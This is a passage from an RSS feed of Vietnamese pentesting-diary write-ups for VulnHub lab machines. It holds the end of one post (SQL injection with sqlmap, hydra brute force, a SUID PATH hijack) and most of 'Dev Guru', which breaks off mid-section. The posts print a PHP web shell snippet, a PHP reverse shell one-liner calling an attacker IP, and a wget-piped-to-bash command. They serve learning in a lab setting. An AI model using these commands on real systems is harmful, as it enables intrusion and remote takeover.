&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Subfinder&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;nothing useful&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Knock&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;nothing useful&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h1&gt;&lt;strong&gt;Exploit:&lt;/strong&gt;&lt;/h1&gt;
&lt;h2&gt;&lt;strong&gt;Foothold&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;Untitled%2013.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Thử nhập test vào ô username và enter. Nhìn vào url ta thấy nó hiện ra parameter có dạng như sau:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;?&amp;lt;tenbien&amp;gt; = &amp;lt;giatrinhapvaoform&amp;gt;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;Untitled%2014.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Ta thay đổi vài giá trị khác vào parameter &lt;code&gt;usrtosearch&lt;/code&gt; kết quả vẫn trả về &lt;code&gt;Fetched data successfully&lt;/code&gt; .&lt;/p&gt;
&lt;p&gt;⇒ Ta có thể đoán được parameter trên dùng để query thông tin username trong database rồi trả về  cho ta.&lt;/p&gt;
&lt;h3&gt;Giả thiết&lt;/h3&gt;
&lt;p&gt;Ta có câu lệnh query như này: &lt;code&gt;Select * from users where username=”$usrtosearch”&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Vậy giờ sẽ ra sao nếu ta thử nhập vào một ký tự &lt;code&gt;‘&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;⇒ Lúc này câu lệnh query sẽ trông như thế này: &lt;code&gt;Select * from users where username=”&apos;”&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;⇒ Expected: Câu lệnh này sẽ báo lỗi sai cú pháp.&lt;/p&gt;
&lt;h3&gt;Thực hiện&lt;/h3&gt;
&lt;p&gt;Và đây chính là kết quả sau khi thực hiện.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;Untitled%2015.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Kết luận&lt;/h3&gt;
&lt;p&gt;Ta có thể thấy server trả về lỗi syntax. ⇒ Đúng như ta mong đợi đến đây ta có thể kết luận rằng trang này đã bị dính SQLi.&lt;/p&gt;
&lt;p&gt;Vậy bước tiếp theo là dùng Sqlmap để dump database . Với các payload như  sau:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Payload&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sqlmap --url=&quot;[http://nullbyte.local/kzMb5nVYJw/420search.php?usrtosearch=](http://nullbyte.local/kzMb5nVYJw/420search.php?usrtosearch=)&quot; -dump

sqlmap --url=&quot;[http://nullbyte.local/kzMb5nVYJw/420search.php?usrtosearch=](http://nullbyte.local/kzMb5nVYJw/420search.php?usrtosearch=)&quot; —dbs
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Ta có kết quả là dump được các bảng trong database của trang.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;Untitled%2016.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;Untitled%2017.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Ta thử đăng nhập trang &lt;strong&gt;phpmyadmin&lt;/strong&gt; tài khoản username &lt;code&gt;root&lt;/code&gt; với password &lt;code&gt;sunnyvale&lt;/code&gt; để đăng nhập thành công.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;Untitled%2018.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Ta thấy trong database có username &lt;code&gt;ramses&lt;/code&gt;  với password được mã hoá. D0oán được đây chính là một trong những user trên server. Ở đây thay vì chọn cách giải mã password thì ta dùng hydra để bruteforce nó.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;Untitled%2019.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Bruteforce thành công!! Ta có password cho user &lt;code&gt;ramses&lt;/code&gt; là &lt;code&gt;omega.&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;Untitled%2020.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Đăng nhập SSH thành công.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;Untitled%2021.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Privilege Escaslation:&lt;/h1&gt;
&lt;h2&gt;Enum:&lt;/h2&gt;
&lt;p&gt;Đầu tiên, ta check nội dung file &lt;code&gt;.bash_history&lt;/code&gt;  xem lịch sử thực thi command xem có manh mối gì không!!!&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;Untitled%2022.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Ở đây ta thấy có command chạy file &lt;code&gt;procwatch&lt;/code&gt; tại đường dẫn &lt;code&gt;/var/www/backup&lt;/code&gt; . Vào xem thử:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;Untitled%2023.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Thì thấy trong nội dung file giống như 1 bản ghi lại process( như trong ảnh có 3 process là procwatch, sh và ps ). Và check thử thì thấy đây là một file SUID ⇒ Ta có thể lợi dụng file này để khai thác leo thang đặc quyền.&lt;/p&gt;
&lt;h2&gt;Exploit:&lt;/h2&gt;
&lt;p&gt;Ta copy file /bin/sh và đổi tên thành ps và để cùng thư mục với file &lt;code&gt;procwatch&lt;/code&gt; kia. Chạy lại file &lt;code&gt;procwatch&lt;/code&gt; và BUMP!! Got it!!!&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;Untitled%2024.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Now you pwned everything!!! It’s your time to play with the victim.&lt;/h1&gt;
&lt;h1&gt;End game!!!&lt;/h1&gt;
&lt;h1&gt;PS:&lt;/h1&gt;
&lt;p&gt;Nguồn tham khảo:&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.linuxfordevices.com/tutorials/linux/hydra-brute-force-ssh&quot;&gt;https://www.linuxfordevices.com/tutorials/linux/hydra-brute-force-ssh&lt;/a&gt;&lt;/p&gt;
</content:encoded></item><item><title>Pentesting Diary - Hack with Me: [3] Dev Guru</title><link>https://wanderlens.vercel.app/posts/devguru/dev-guru-a8ba510c8dd8445e94a6b897df51cae1/</link><guid isPermaLink="true">https://wanderlens.vercel.app/posts/devguru/dev-guru-a8ba510c8dd8445e94a6b897df51cae1/</guid><pubDate>Sun, 29 May 2022 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;Dev Guru&lt;/h1&gt;
&lt;p&gt;BOX: Dev Guru&lt;/p&gt;
&lt;p&gt;Link: &lt;a href=&quot;https://www.vulnhub.com/entry/devguru-1,620/&quot;&gt;https://www.vulnhub.com/entry/devguru-1,620/&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;&lt;strong&gt;TO DO:&lt;/strong&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;[x]  Info gathering. Nmap, naabu, nuclei.&lt;/li&gt;
&lt;li&gt;[x]  Exploit:
&lt;ul&gt;
&lt;li&gt;[x]  Dump .git&lt;/li&gt;
&lt;li&gt;[x]  Login /admin page&lt;/li&gt;
&lt;li&gt;[x]  Shell uploaded&lt;/li&gt;
&lt;li&gt;[x]  Get Shell&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;[x]  Privilege escalation&lt;/li&gt;
&lt;li&gt;[x]  REPORT&lt;/li&gt;
&lt;li&gt;[x]  Done!&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;Information Gathering&lt;/h1&gt;
&lt;h2&gt;Port scanning:&lt;/h2&gt;
&lt;p&gt;Box này nó cho sẵn IP cho nên việc đầu tiên mình làm là scan port bằng naabu và nmap.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;Untitled.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;Untitled%201.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Nhìn vào kết quả trên có thể thấy được trang này bị git leak.&lt;/p&gt;
&lt;p&gt;Và có port 8585 chạy GitTea.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;Untitled%202.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;&lt;strong&gt;Map VLAN&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;Untitled%203.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Vulns check&lt;/h2&gt;
&lt;p&gt;Sau đó mình dùng nuclei để tìm thêm các lỗ hổng,misconfig, CVE ,….  và thấy có CVE-2018-15473.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;Untitled%204.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;Untitled%205.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Fuzzing Time&lt;/h2&gt;
&lt;h3&gt;&lt;strong&gt;Subdomain:&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Passive:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;Untitled%206.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Active:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;Untitled%207.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Hidden directory:&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;Untitled%208.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Mình được các trang như sau :&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;Untitled%209.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Trang này thoạt nhìn trông như trang đăng nhập quản lý Database nên mình đã google thử thì biết được Adminer là Database Management trong PHP.  Tìm thử xem có CVE nào liên quan đến cái này không.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;Untitled%2010.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Lên CVE detail tìm thử thì nó dính CVE 2021-21311 . Đại khái CVE như thế này. “&lt;strong&gt;Adminer từ phiên bản 4.0.0 và trước 4.7.9 có lỗ hổng giả mạo yêu cầu phía máy chủ(SSRF). Người dùng các phiên bản Adminer gói tất cả các trình điều khiển (ví dụ: &lt;code&gt;adminer.php&lt;/code&gt;) đều bị ảnh hưởng. Điều này đã được khắc phục trong phiên bản 4.7.9.”&lt;/strong&gt; mà trang của chúng ta đang sử dụng ở phiên bản 4.7.7&lt;/p&gt;
&lt;p&gt;⇒ Trang /adminer.php này dính SSRF.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;Untitled%2011.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Link CVE: &lt;a href=&quot;https://www.cvedetails.com/cve/CVE-2021-21311/&quot;&gt;https://www.cvedetails.com/cve/CVE-2021-21311/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Tiếp theo là trang &lt;code&gt;/backend&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;Untitled%2012.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Dùng Wappalyzer detect thử thì trang này là sử dụng October CMS.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;Untitled%2013.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Mình thử tìm CVE của CMS này nhưng không có.&lt;/p&gt;
&lt;h2&gt;&lt;strong&gt;Tổng kết những thông tin useful sau khi scan,fuzzing các kiểu con đà điểu nè:&lt;/strong&gt;&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;strong&gt;Scanning&lt;/strong&gt;&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;PORT&lt;/strong&gt;&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;Services&lt;/strong&gt;&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;Version&lt;/strong&gt;&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;Vuln&lt;/strong&gt;&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;Exploitable?&lt;/strong&gt;&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;Note&lt;/strong&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Naabu  + Nmap&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;80&lt;/td&gt;
&lt;td&gt;Apache httpd&lt;/td&gt;
&lt;td&gt;2.4.29&lt;/td&gt;
&lt;td&gt;Git leaks&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;Khai thác GitLeaks lấy được username/password database&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;22&lt;/td&gt;
&lt;td&gt;OpenSSH&lt;/td&gt;
&lt;td&gt;7.6p1&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;8585&lt;/td&gt;
&lt;td&gt;GitTea&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Nuclei&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;22&lt;/td&gt;
&lt;td&gt;OpenSSH&lt;/td&gt;
&lt;td&gt;7.6p1&lt;/td&gt;
&lt;td&gt;CVE-2018-15473&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;enum được username ssh(sẽ tìm hiểu exploit ssh sau)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Fuzzing&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;PORT&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;File/Directory - Domain&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Dirsearch&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;80&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/adminer.php&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Adminer 4.7.7&lt;/td&gt;
&lt;td&gt;CVE 2021-21311&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;80&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/backend&lt;/code&gt;October CMS 1.0.1&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Subfinder&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;nothing useful&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Knock&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;nothing useful&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h1&gt;&lt;strong&gt;Exploit:&lt;/strong&gt;&lt;/h1&gt;
&lt;h2&gt;&lt;strong&gt;Foothold&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;Dùng Githacker để dump source code từ .git&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;Untitled%2014.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Sau đó đọc từng file xem thử có gì useful không.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;Untitled%2015.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;S&lt;strong&gt;ource code review time : ON&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;Untitled%2016.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Mình tìm thấy user/password để login mysql trong file &lt;code&gt;database.php&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;Untitled%2017.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Sử dụng nó để đăng nhập vào trang &lt;code&gt;/adminer.php&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;Untitled%2018.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Update password của user Frank để đăng nhập vào trang &lt;code&gt;/backend&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;Untitled%2019.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Đăng nhập thành công trang &lt;code&gt;/backend&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;Untitled%2020.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Theo kinh nghiệm của mình thì khi gặp các admin dashboard như này thì việc đầu tiên là check xem có chức năng upload không, nếu có thì tìm cách up shell(bypass filter nếu có). Và mình đã thử từ đổi đuôi - đổi MIME đổi - filesignature , up .htacesss nhưng tất cả đều bị chặn. Vậy là hết cách rồi sao ???&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;Untitled%2021.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Sau khi tìm hiểu thêm thì mình biết được chúng ta có thể thêm code PHP vào trang này thông qua chức năng gọi là ‘CMS’.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;Untitled%2022.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;Untitled%2023.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Link docs: &lt;a href=&quot;https://docs.octobercms.com/2.x/cms/pages.html#page-variables&quot;&gt;https://docs.octobercms.com/2.x/cms/pages.html#page-variables&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Lúc này trong đầu mình tự đặt ra câu hỏi &lt;code&gt;“Vậy sẽ ra sao nếu nhúng vào trang này một đoạn code thực thi cmd thông qua biến GET và trả về kết quả??”&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Mình có đoạn code như sau:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function onStart(){
	echo(system($_GET(&apos;cmd&apos;)));
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;Untitled%2024.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Và đây là kết quả:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;Untitled%2025.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Oh Yeah! It’s time to RCE.&lt;/p&gt;
&lt;p&gt;Ở đây mình sử dụng 1 con PHP reverse shell.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;php -r &apos;$sock=fsockopen(&quot;10.10.1.18&quot;,3000);exec(&quot;/bin/sh -i &amp;lt;&amp;amp;3 &amp;gt;&amp;amp;3 2&amp;gt;&amp;amp;3&quot;);&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Mình sẽ URL encode lại và sử dụng lệnh curl để thực thi&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;Untitled%2026.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Access granted!&lt;/p&gt;
&lt;p&gt;Mình đã RCE thành công.&lt;/p&gt;
&lt;h1&gt;Privilege Escapsulation:&lt;/h1&gt;
&lt;h2&gt;Enum:&lt;/h2&gt;
&lt;p&gt;Dùng Tool lse.h để enum system.&lt;/p&gt;
&lt;p&gt;lse.h one line: &lt;code&gt;bash &amp;lt;(wget -q -O - &quot;[https://github.com/diego-treitos/linux-smart-enumeration/releases/latest/download/lse.sh](https://github.com/diego-treitos/linux-smart-enumeration/releases/latest/download/lse.sh)&quot;) -l2 -i&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;Untitled%2027.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Exploit:&lt;/h2&gt;
&lt;p&gt;Ta thấy server này có tận 2 CVE có thể leo root, vậy mình sẽ thử khai thác theo cả 2 cách:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;CVE-2021-3156:&lt;/strong&gt;  Các Sudo phiên bản trước 1.9.5p2 bị lỗi Off-by-One( một loại BOF), dẫn dến cho phép chuyển đặc quyền lên root thông qua &quot;sudoedit -s&quot; và đối số dòng lệnh kết thúc bằng một ký tự dấu gạch chéo ngược.&lt;/p&gt;
&lt;p&gt;Link CVE: &lt;a href=&quot;https://www.cvedetails.com/cve-details.php?t=1&amp;amp;cve_id=CVE-2021-3156&quot;&gt;https://www.cvedetails.com/cve-details.php?t=1&amp;amp;cve_id=CVE-2021-3156&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Link Exploit: &lt;a href=&quot;https://github.com/worawit/CVE-2021-3156&quot;&gt;https://github.com/worawit/CVE-2021-3156&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;Untitled%2028.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;CVE-2021-4034:&lt;/strong&gt; lỗ hổng này liên quan tới Polkit pkexec có thể khai thác leo thang đặc quyền.&lt;/p&gt;
&lt;p&gt;Link CVE: &lt;a href=&quot;https://www.cvedetails.com/cve-details.php?t=1&amp;amp;cve_id=CVE-2021-4034&quot;&gt;https://www.cvedetails.com/cve-details.php?t=1&amp;amp;cve_id=CVE-2021-4034&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Link Exploit: &lt;a href=&quot;https://github.com/ly4k/PwnKit&quot;&gt;https://github.com/ly4k/PwnKit&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;Untitled%2029.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Có thể exploit CVE này bằng Pwnkit&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;Untitled%2030.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;Untitled%2031.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;Untitled%2032.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;Untitled%2033.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;In another stage&lt;/h1&gt;
&lt;p&gt;Sau khi có được root thì game over rồi nhưng mình muốn khai thác sâu hơn vào hệ thống để tìm ra các lỗ hổng khác.&lt;/p&gt;
&lt;p&gt;Đầu tiên đọc thử file &lt;code&gt;/etc/passwd&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;Untitled%2034.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Thì mình thấy trên máy này có user tên là frank . Vậy giờ mình login bằng user này xem thử có gì hay ho không. Đầu tiên mình sẽ đổi password user frank bằng lệnh sau: &lt;code&gt;echo “123450\n123450” | passwd frank&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;Untitled%2035.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Sau đó mình sẽ thực hiện login bằng user frank&lt;/p&gt;
&lt;p&gt;Đầu tiên là mình sẽ xem thử folder backups (mình có xem các folder khác nhưng không tìm thấy cái gì useful nên mình tập trung focus vào folder này nhe)&lt;/p&gt;
&lt;p&gt;Thì đúng như cái tên của nó folder này chuyên dùng để backup dữ liệu lại.&lt;/p&gt;
&lt;p&gt;Mình tìm được file &lt;code&gt;app.ini.bak&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;Untitled%2036.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Trong file &lt;code&gt;app.ini.bak&lt;/code&gt; có chứa password của dịch vụ gitTea .&lt;/p&gt;
&lt;p&gt;Dùng username password này login vào trang &lt;code&gt;adminer.php&lt;/code&gt; thử (theo suy đoán của mình đây là account database của trang GitTea mà mình đã tìm ra ở port 8585)&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;Untitled%2037.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;Untitled%2038.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;Untitled%2039.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Mình sẽ tìm bảng user và clone 1 account .&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;Untitled%2040.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Nhưng ở đây password được hash bằng pbkdf2 nên mình thay đổi thành bcrypt cho dễ.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;Untitled%2041.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;Untitled%2042.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Đăng nhập thành công với account mình vừa clone.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;Untitled%2043.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Vào xem config thử&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;Untitled%2044.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Ta có thể thấy GitTea version 1.12.5 . Search google thì thấy ver này của GitTea dính lỗi RCE thông qua chức năng GitHook.&lt;/p&gt;
&lt;p&gt;CVE: &lt;a href=&quot;https://podalirius.net/en/articles/exploiting-cve-2020-14144-gitea-authenticated-remote-code-execution/&quot;&gt;https://podalirius.net/en/articles/exploiting-cve-2020-14144-gitea-authenticated-remote-code-execution/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Do trong database vẫn còn 1 user có tên là frank nên mình tìm thử user frank và thấy được 1 repo như này:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;Untitled%2045.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Xong mình fork repo về và thêm python reverseshell vào GitHooks&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;Untitled%2046.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Sau đó mình update repo.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;Untitled%2047.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&lt;strong&gt;Ta da!&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;Untitled%2048.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Privilege Escapsulation again:&lt;/h2&gt;
